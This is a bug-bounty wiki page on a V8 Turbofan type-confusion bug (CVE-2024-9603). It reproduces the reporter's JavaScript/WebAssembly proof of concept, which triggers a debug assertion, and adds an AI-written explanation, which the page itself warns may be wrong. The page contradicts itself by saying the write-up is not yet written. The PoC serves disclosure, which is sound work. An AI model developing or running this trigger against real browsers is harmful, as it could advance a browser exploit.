Type Confusion in V8 (CVE-2024-9603)
A type confusion flaw in V8's Turbofan optimiser remained after a patch that only fixed the Maglev compiler, so a crafted JavaScript and WebAssembly combination could confuse the engine's type assumptions. The text shows a proof of concept that should trigger a debug assertion, but does not demonstrate code execution or any other concrete impact.
Originally disclosed on Chrome VRP
- Fix shipped in 21 days
report
Hi, there is a invariant bug of |cve-2024-7550|. The patch only fixed the maglev part, however, the patch didn't fixed turbofan part.
Here is the poc, which should trigger a DCHECK:
load('wasm-module-builder.js');
let builder = new WasmModuleBuilder();
let struct_type = builder.addStruct([makeField(kWasmI32, true)]);
builder.addFunction('MakeStruct', makeSig([], [kWasmExternRef])).exportFunc().addBody([kExprI32Const, 42, kGCPrefix, kExprStructNew, struct_type, kGCPrefix, kExprExternConvertAny]);
let instance = builder.instantiate();
let evil_wasm_object = instance.exports.MakeStruct();
function evil_ctor(){
}
function evil_cast_jit(evil_o){
global_collect_node_info = evil_o; // [+] get nodeinfo from PropertyCellStore
return evil_o instanceof evil_ctor;
}
// [+] hook its prototype chain
evil_ctor.prototype = evil_wasm_object;
%PrepareFunctionForOptimization(evil_cast_jit);
evil_cast_jit(new evil_ctor());
evil_cast_jit(new evil_ctor());
%OptimizeFunctionOnNextCall(evil_cast_jit);
evil_cast_jit(new evil_ctor());
// [+] it shouldn't hit here...
If there is any cve, plz credit as @WeShotTheMoon and @Nguyen Hoang Thach of starlabs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
The proof of concept only claims to trigger a debug assertion; the text does not show memory corruption, sandbox escape or any other exploitable consequence.
What the attacker needed
Ability to run JavaScript in V8; debug build to see the assertion
The fix
The Turbofan path should be patched with the same invariant check that was applied to Maglev, so the WebAssembly object cannot be treated as a plain object.
How it was found
- Build a WebAssembly module that creates a struct and converts it to an external reference.
- Create a JavaScript constructor whose prototype is set to that WebAssembly object.
- Run the instanceof-checking function a few times and force Turbofan to optimise it.
- Call the optimised function again and observe the debug assertion fire.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
V8 is the JavaScript engine inside Chrome. It speeds up hot code by making assumptions about what types values have; if those assumptions are wrong, the engine can treat one kind of object as another, which is called type confusion. This report shows a small program that makes the optimiser's assumption wrong and trips a debug check, but it does not show what an attacker could actually do with it.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.